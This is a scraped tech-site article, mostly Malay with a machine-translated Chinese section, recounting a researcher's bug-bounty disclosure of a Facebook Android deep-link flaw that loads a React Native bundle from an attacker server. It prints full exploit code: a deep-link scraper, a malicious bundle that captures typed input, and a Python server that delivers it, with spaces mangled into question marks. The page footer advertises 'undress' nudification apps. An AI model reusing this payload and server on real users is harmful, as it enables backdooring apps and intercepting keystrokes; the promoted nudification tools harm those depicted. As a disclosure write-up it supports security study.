


Cara menggunakan pautan dalam ke APP Facebook pintu belakang
May 19, 2023 pm 02:49 PMBaru-baru ini, pengarang menemui kelemahan pautan dalam dalam APP Android Facebook Menggunakan kerentanan ini, APP Android Facebook yang dipasang pada telefon mudah alih pengguna boleh ditukar menjadi program pintu belakang (Backdoor) untuk mencapai pintu belakang. Selain itu, kelemahan ini juga boleh digunakan untuk membungkus semula aplikasi Facebook dan menghantarnya kepada mangsa sasaran terpilih untuk dipasang dan digunakan. Mari kita lihat proses penemuan pengarang tentang kerentanan ini, dan bagaimana ia akhirnya berubah menjadi risiko keselamatan dalam persekitaran pengeluaran sebenar Facebook APP melalui pembinaan Muatan.
Vulnerability Discovery
Biasanya apabila melakukan ujian awam, saya akan terlebih dahulu memahami dengan teliti mekanisme aplikasi sistem sasaran. Dalam blog terakhir saya, saya telah berkongsi beberapa pengalaman menemui pautan dalam (deeplink) dalam aplikasi parameter FB4A dengan menghuraikan Facebook APP Di sini, saya akan berkongsi dahulu fail skrip yang saya tulis, yang secara automatik boleh menemui pautan dalam Facebook APP (pautan dalam). Fail skrip ialah - Pengikis Pautan Dalam Android Facebook (FBLinkBuilder.py), yang merupakan program kod berasaskan Python khusus untuk mengekstrak pautan dalam (pautan dalam) daripada APK Facebook:
import?os? import?json import?argparse from?zipfile?import?ZipFile? from?datetime?import?datetime fname?=?datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt")?#default?filename parser?=?argparse.ArgumentParser()? parser.add_argument('-i',?help='Facebook?APK?file') parser.add_argument('-o',?help='Output?file',?nargs='?',?default=fname) parser.add_argument('-e',?help='Only?show?exported.?Defaulted?to?False',?nargs='?',?default=False) args?=?parser.parse_args() file_name?=?args.i?#apk output_name?=?args.o?#generated?output?/?provided exported?=?args.e?#False?/?provided with?ZipFile(file_name,?'r')?as?zip:? ????print('Extracting?native?routes?file...')?#fyi ???? ????data?=?zip.read('assets/react_native_routes.json')?#extract?file?from?zip ????js?=?json.loads(data.decode("utf-8"))?#to?read?as?list ????params?=?''?#placeholder ???? ????i?=?0?#deeplink?count ???? ????text_file?=?open(output_name,?"w")?#open?output ????print('Manipulating?data...')?#fyi ????for?key?in?js:?#for?each?block?in?json ????????for?key2?in?key['paramDefinitions']:?#grab?the?collection?of?params ????????????params?+=?key2?+?'='?+?str(key['paramDefinitions'][key2]['type']).upper()?+?'&'?#append?params?with?type ???????????? ????????if?exported:?#exported?only ????????????if?key.get('access','')?!=?'exported':?#check?access?key ????????????????params?=?''?#Reset?params ????????????????continue?#try?next?block ???????????????? ????????link?=?'fb:/'?+?key['path']?+?'/?'?+?params?#build?link ????????print(link[:-1])?#fyi ????????text_file.write(link[:-1]+?'\n')?#write?to?file ????????i?+=?1?#increase?counter ????????params?=?''?#reset?params ????text_file.close()?#save?file ???? ????print('File:?'?+?output_name?+?'?saved')?#fyi ????print(str(i)?+?'?deep?links?generated')?#fyi
Sumber muat turun: https:// github .com/ashleykinguk/FBLinkBuilder/
Penggunaan: .FBLinkBuilder.py -i fb0409.apk
Dengan menjalankan FBLinkBuilder.py, kita boleh membandingkan pelaksanaan berbeza Pautan dalam yang muncul antara versi APP digunakan untuk melihat perubahan dalam perkhidmatan aplikasi dalam versi APP yang berbeza Saya menggunakan kaedah ini untuk menemui pautan dalam yang tidak selamat dalam versi 2020 APP Facebook: fb:// rnquantum_notification_handler/?address=. , yang telah ditambahkan pada APP Facebook buat kali pertama dalam versi 2020.
Format parameter pautan dalam ini ialah nama hos/ip, jadi saya menggunakan pelayan saya sendiri 192.168.0.2 untuk melakukan ujian: fb://rnquantum_notification_handler/?address=192.168.0.2 :8224, melalui pautan ini, tetingkap pop timbul berikut boleh muncul dalam APP Facebook:
Selepas mengklik butang "Dayakan Kuantum", APP Facebook akan dimulakan semula cuba saya perhatikan beberapa perubahan, tetapi tiada apa yang kelihatan luar biasa. Seterusnya, saya mengalihkan perhatian saya kepada trafik rangkaian Pada masa itu, saya memikirkan fungsi ujian topi putih yang baru-baru ini dibuka oleh Facebook khusus untuk penyelidik keselamatan boleh menggunakan fungsi ini untuk memintas Penyematan Sijil Facebook (Penyematan Sijil). ) dan sekatan keselamatan lain untuk menguji trafik rangkaian aplikasi berkaitan Facebook. Saya menggunakan fungsi ujian topi putih dan mendapati bahawa selepas melakukan operasi di atas, aplikasi Facebook akan mengeluarkan permintaan pautan keluar berikut:
Mekanisme permintaan pertama di sini adalah untuk lulus berdasarkan maklumat atribut peranti mudah alih dan berhasrat untuk mewujudkan sambungan soket web, permintaan kedua adalah untuk mengembalikan maklumat status hos pembungkus-status:running, yang merupakan tindak balas terbina dalam Facebook; -kod sumber asli Untuk parameter, sila rujuk Github: /com/facebook/react/devsupport/DevServerHelper.java. Dan apabila saya cuba membina mesej respons dalam pelayan saya sendiri 192.168.0.2, saya menemui permintaan lain yang dijana oleh Facebook APP:http://192.168.0.2:8224/message?device= Android+ SDK+dibina+untuk+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl
http://192.168.0.2:8224/status
http://192.168 .0.2:8224 /RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false
Tujuan permintaan ini adalah untuk mencari parameter FB4A yang disimpan dalam fail pakej, mengikut analisis awal, parameter ini sepatutnya Ia disimpan dalam APP Facebook dalam teks yang jelas dan bukannya format hbc* biasa. Saya cuba memasukkan parameter FB4A dalam format hbc* untuk ujian, tetapi ia akhirnya ranap APP Facebook.
__fbBatchedBridge - objek yang diperlukan dalam fail pakej, yang mengandungi pelbagai komponen berfungsi yang disegerakkan dengan aplikasi APP __fbBatchedBridge.callFunctionReturnFlushedQueue - Fungsi yang dipanggil oleh latar belakang APP akan melaksanakan tindakan atau acara yang sepadan setiap kali ia dipanggil.Berdasarkan penemuan di atas, idea saya adalah untuk membolehkan Facebook APP berjaya memuat turun dan melaksanakan fail pakej yang saya bina Untuk mencapai tujuan ini, saya perlu menulis sendiri fail pakej tersebut hoskannya pada saya Dalam hos yang dihoskan sendiri 192.168.0.2. Berikut ialah fail pakej FB4abundle.js yang saya bina:
/*?contact@ash-king.co.uk?*/ var?i?=?0,?logs?=?'';?/*?our?local?vars?*/ /*the?below?objects?are?required?for?the?app?to?execute?the?bundle.?See?lines?47-55?for?the?custom?js?*/ var?__fbBatchedBridge?=?{? _lazyCallableModules:?{}, _queue:?[[],?[],?[],?0], _callID:?0, _lastFlush:?0, _eventLoopStartTime:?Date.now(), _immediatesCallback:?null, ????callFunctionReturnFlushedQueue:?function(module,?method,?args)?{ return?__fbBatchedBridge.__guard(function()?{ ??__fbBatchedBridge.__callFunction(module,?method,?args) }),?__fbBatchedBridge.flushedQueue() }, ????callFunctionReturnResultAndFlushedQueue:?function(e,?u,?s)?{ return?__fbBatchedBridge.__guard(function()?{ ??throw?new?Error('callFunctionReturnResultAndFlushedQueue:?'?+?a); }),?__fbBatchedBridge.flushedQueue() }, ????invokeCallbackAndReturnFlushedQueue:?function(a,b,c)?{? throw?new?Error('invokeCallbackAndReturnFlushedQueue:?'?+?a); }, flushedQueue:?function(a,?b)?{ if(a?!=?undefined){ throw?new?Error('flushedQueue:?'?+?b) } __fbBatchedBridge.__callImmediates();? const?queue?=?__fbBatchedBridge._queue; __fbBatchedBridge._queue?=?[[],?[],?[],?__fbBatchedBridge._callID]; return?queue[0].length???queue?:?null; }, onComplete:?function(a)?{?throw?new?Error(a)?}, __callImmediates:?function()?{ if?(__fbBatchedBridge._immediatesCallback?!=?null)?{ ??__fbBatchedBridge._immediatesCallback(); ??throw?new?Error('processCallbacks:?'?+?__fbBatchedBridge._immediatesCallback()); } }, getCallableModule:?function(a)?{? const?getValue?=?__fbBatchedBridge._lazyCallableModules[a]; return?getValue???getValue()?:?null; }, __callFunction:?function(a,b,c)?{ if(a?==?'RCTNativeAppEventEmitter')?{?//?Only?capturing?the?search?bar?in?settings i?+=?1?//increment?count logs?+=?JSON.stringify(c)?+?'\n';?//JSON?Object if(i?>?10)?{ /*?Here?is?where?we?will?write?out?to?logcat?via?js*/ var?t?=?(nativeModuleProxy); throw?new?Error('Look?HERE:?'?+?(logs)?+?'\n\r');? } } __fbBatchedBridge._lastFlush?=?Date.now(); __fbBatchedBridge._eventLoopStartTime?=?__fbBatchedBridge._lastFlush; const?moduleMethods?=?__fbBatchedBridge.getCallableModule(a); try?{ moduleMethods[b].apply(moduleMethods,?c); }?catch?(e)?{ } return?-1 }, __guard:?function(e)?{ try?{ e(); }?catch?(error)?{ throw?new?Error('__guard:?'?+?error);? } } };
另外需要一個(gè)腳本文件fb_server.py,以便讓Facebook APP自動(dòng)調(diào)用該包文件
#contact@ash-king.co.uk from?http.server?import?BaseHTTPRequestHandler,?HTTPServer import?logging class?S(BaseHTTPRequestHandler): ????def?_set_response(self): ????????self.send_response(500) ????????self.send_header('Content-type',?'text/html') ????????self.end_headers() ????????self.wfile.write(bytes("",?"utf-8")) ????def?do_GET(self): ????????if?self.path?==?'/status': ????????????self.resp_status() ????????elif?str(self.path).find('message?device=')?>?-1: ????????????self.resp_message() ????????elif?str(self.path).find('Fb4aBundle.bundle')?>?-1: ????????????self.resp_fb4a() ????def?do_POST(self): ????????content_length?=?int(self.headers['Content-Length']) ????????post_data?=?self.rfile.read(content_length) ????????logging.info("POST?request,\nPath:?%s\nHeaders:\n%s\n\nBody:\n%s\n",?str(self.path),?str(self.headers),?post_data.decode('utf-8')) ????????self._set_response() ????????self.wfile.write("POST?request?for?{}".format(self.path).encode('utf-8')) ????def?resp_message(self): ????????logging.info("resp_message") ????????self.send_response(200) ????????self.send_header('Content-type',?'text/html') ????????self.end_headers() ????????self.wfile.write(bytes("",?"utf-8")) ????????logging.info("GET?request,\nPath:?%s\nHeaders:\n%s\n",?str(self.path),?str(self.headers)) ????def?resp_status(self): ????????logging.info("resp_status") ????????self.send_response(200) ????????self.send_header('Content-type',?'text/html') ????????self.end_headers() ????????self.wfile.write(bytes("packager-status:running",?"utf-8")) ????????logging.info("GET?request,\nPath:?%s\nHeaders:\n%s\n",?str(self.path),?str(self.headers)) ???????? ????def?resp_fb4a(self): ????????logging.info("resp_bundle") ????????self.send_response(200) ????????self.send_header('Content-type',?'multipart/mixed') ????????self.end_headers() ????????with?open('FB4abundle.js',?'rb')?as?file:? ????????????self.wfile.write(file.read()) ????????logging.info("GET?request,\nPath:?%s\nHeaders:\n%s\n",?str(self.path),?str(self.headers)) def?run(server_class=HTTPServer,?handler_class=S,?port=8224): ????logging.basicConfig(level=logging.INFO) ????server_address?=?('',?port) ????httpd?=?server_class(server_address,?handler_class) ????logging.info('Starting?httpd...\n') ????try: ????????httpd.serve_forever() ????except?KeyboardInterrupt: ????????pass ????httpd.server_close() ????logging.info('Stopping?httpd...\n') if?__name__?==?'__main__': ????from?sys?import?argv ????run()
綜合深度鏈接、包文件調(diào)用和我自己構(gòu)造加入的"Enable Quantum"URL鏈接,最終我可以向Facebook APP調(diào)用包文件中加入我自制的代碼,并由其中的深度鏈接來(lái)實(shí)現(xiàn)調(diào)用。在我的POC漏洞驗(yàn)證展示中,如果受害者運(yùn)行了我重打包的Facebook APP后,我可以攔截他在Facebook APP中的輸入字符流量,如攔截他輸入的5個(gè)字符流量“testi”,并會(huì)在logfile中顯示他實(shí)際輸入的字符,且最終會(huì)產(chǎn)生一個(gè)告警提示:
漏洞影響
惡意攻擊者可以利用該漏洞,通過(guò)物理接觸移動(dòng)設(shè)備上的APP或向受害者發(fā)送重打包APP的方式,向受害者移動(dòng)端設(shè)備APP中植入持久化連接,對(duì)受害者設(shè)備APP形成長(zhǎng)期感知探測(cè)的后門(mén)化。
然而,一開(kāi)始,F(xiàn)acebook安全團(tuán)隊(duì)卻忽略了該漏洞,他們選擇了關(guān)閉該漏洞報(bào)告并分類(lèi)為不適用(not applicable),他們給出的解釋為:
Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.
之后,我就公布了POC驗(yàn)證視頻,一小時(shí)后,F(xiàn)acebook安全團(tuán)隊(duì)的雇員聯(lián)系了我,聲稱(chēng)他們重新評(píng)估了該漏洞,并要求我刪除了該P(yáng)OC驗(yàn)證視頻。但在視頻刪除前,至少30多名觀眾看過(guò)了該視頻。
Facebook安全團(tuán)隊(duì)的漏洞評(píng)估
“重新評(píng)估該漏洞后,我們決定按我們的眾測(cè)標(biāo)準(zhǔn)給出對(duì)該漏洞給予獎(jiǎng)勵(lì),在你上報(bào)的漏洞中,描述了可讓受害者重定向到一個(gè)攻擊者控制的 React Native Development服務(wù)端,并向受害者APP中植入惡意代碼的場(chǎng)景,感謝你的漏洞上報(bào)?!?/p>
漏洞上報(bào)和處理進(jìn)程
2020.6.20 - 漏洞上報(bào)
2020.6.22 - 提供技術(shù)細(xì)節(jié)
2020.6.23 - Facebook把該漏洞分類(lèi)為N/A
2020.6.23 - 我在Youtube上公布POC視頻?
2020.6.23 - Facebook重新評(píng)估該漏洞并要求我刪除POC視頻
2020.6.24 - 漏洞分類(lèi)
2020.6.26 - Facebook通過(guò)關(guān)閉Quantum功能進(jìn)行緩解
2020.8.20 - Facebook修復(fù)該漏洞
2020.9.17 - Facebook賞金獎(jiǎng)勵(lì)支付
Atas ialah kandungan terperinci Cara menggunakan pautan dalam ke APP Facebook pintu belakang. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undress AI Tool
Gambar buka pakaian secara percuma

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Mahu mempelajari rangka kerja Laravel, tetapi tidak mengalami sumber atau tekanan ekonomi? Artikel ini memberikan anda pembelajaran percuma Laravel, mengajar anda cara menggunakan sumber seperti platform dalam talian, dokumen dan forum komuniti untuk meletakkan asas yang kukuh untuk perjalanan pembangunan PHP anda dari mula menguasai.

Untuk mengakses platform rasmi Binance dan memuat turun aplikasinya, anda boleh menggunakan langkah -langkah berikut: 1) Gunakan enjin carian yang dipercayai untuk mencari "Binance" dan periksa nama domain; 2) Lihat media sosial rasmi untuk mendapatkan URL; 3) berunding dengan perkhidmatan pelanggan rasmi untuk mengesahkan URL; 4) Gunakan laman web navigasi yang dipercayai. Langkah -langkah untuk memuat turun aplikasinya termasuk: 1) Lawati laman web rasmi Binance; 2) Cari portal muat turun aplikasi; 3) Pilih kaedah muat turun (imbas kod QR, muat turun App Store, dan muat turun secara langsung fail APK).

Artikel ini meringkaskan maklumat mengenai aplikasi platform perdagangan mata wang maya yang teratas, menekankan pentingnya akses selamat ke platform melalui saluran rasmi, dan menyediakan kaedah pengesahan. Pada masa yang sama, artikel itu mengingatkan pelabur untuk mempertimbangkan faktor -faktor seperti keselamatan, yuran transaksi, pemilihan mata wang apabila memilih aplikasi, dan memberi perhatian kepada risiko perdagangan mata wang maya.

Dengan peningkatan populariti perdagangan cryptocurrency, adalah penting untuk memilih platform perdagangan yang selamat dan boleh dipercayai. Sebagai platform perdagangan aset digital terkemuka di dunia, Ouyi Okx sangat disukai untuk keselamatan yang tinggi, produk perdagangan yang kaya, kecairan yang baik dan pengalaman pengguna. Walau bagaimanapun, Internet penuh dengan maklumat palsu, dan ramai pengguna mengalami kesukaran mengenal pasti laman web rasmi OUYI Okx. Artikel ini akan membimbing anda bagaimana untuk mengakses platform rasmi OUYI OKX dengan selamat dan cepat, elakkan secara tidak sengaja memasuki laman web phishing, dan memastikan keselamatan aset digital anda. Kami akan memperkenalkan pelbagai kaedah seperti enjin carian, laman web pihak ketiga, media sosial rasmi, dan aplikasi rasmi untuk mencari pautan portal rasmi, dan menyediakan tip keselamatan yang penting untuk membantu anda menjalankan urus niaga cryptocurrency yang selamat dan boleh dipercayai di platform OUYI OKX.

Sebagai pertukaran cryptocurrency terkemuka di dunia, Binance sentiasa komited untuk menyediakan pengguna dengan pengalaman perdagangan yang selamat dan mudah. Dari masa ke masa, Binance terus mengoptimumkan ciri platformnya dan antara muka pengguna untuk memenuhi keperluan pengguna yang berubah -ubah. Pada tahun 2025, Binance melancarkan portal log masuk baru yang bertujuan untuk meningkatkan pengalaman pengguna.

Mengintegrasikan log masuk media sosial dalam rangka Laravel boleh dicapai dengan menggunakan pakej Laravelsocialite. 1. Pasang pakej sosialit: Gunakan ComposerRequirelaravel/Socialite. 2. Konfigurasi penyedia perkhidmatan dan alias: Tambah konfigurasi yang relevan dalam config/app.php. 3. Set kelayakan API: Konfigurasi kelayakan API media sosial dalam .env dan config/services.php. 4. Tulis kaedah pengawal: Tambah kaedah pengalihan dan panggilan balik untuk mengendalikan proses log masuk media sosial. 5. Mengendalikan Soalan Lazim: Pastikan keunikan pengguna, penyegerakan data, pengendalian keselamatan dan ralat. 6. Amalan Pengoptimuman:

Dalam urus niaga mata wang digital, keselamatan adalah penting. Oleh kerana kelaziman phishing, adalah penting untuk mencari alamat masuk rasmi OKX dan pautan rasmi. Artikel ini akan menyediakan panduan yang komprehensif untuk mendapatkan akses kepada platform rasmi OUYI OKX, membantu pengguna mengenal pasti dan mengelakkan laman web phishing dan melindungi keselamatan aset digital. Kami akan memperkenalkan cara mengesahkan portal rasmi OUYI OKX melalui laman web rasmi, aplikasi rasmi, akaun media sosial rasmi dan saluran yang dipercayai, dan memberikan tip keselamatan yang penting, seperti mengelakkan pautan yang tidak diketahui, menggunakan kata laluan yang kuat dan membolehkan pengesahan dua faktor, untuk memastikan transaksi anda selamat dan boleh dipercayai.

Bitget Exchange menawarkan pelbagai kaedah log masuk, termasuk e -mel, nombor telefon bimbit dan akaun media sosial. Artikel ini memperincikan pintu masuk dan langkah terkini untuk setiap kaedah log masuk, termasuk mengakses laman web rasmi, memilih kaedah log masuk, memasukkan kelayakan log masuk, dan melengkapkan log masuk. Pengguna perlu memberi perhatian untuk menggunakan laman web rasmi semasa log masuk dan betul menyimpan kelayakan log masuk.
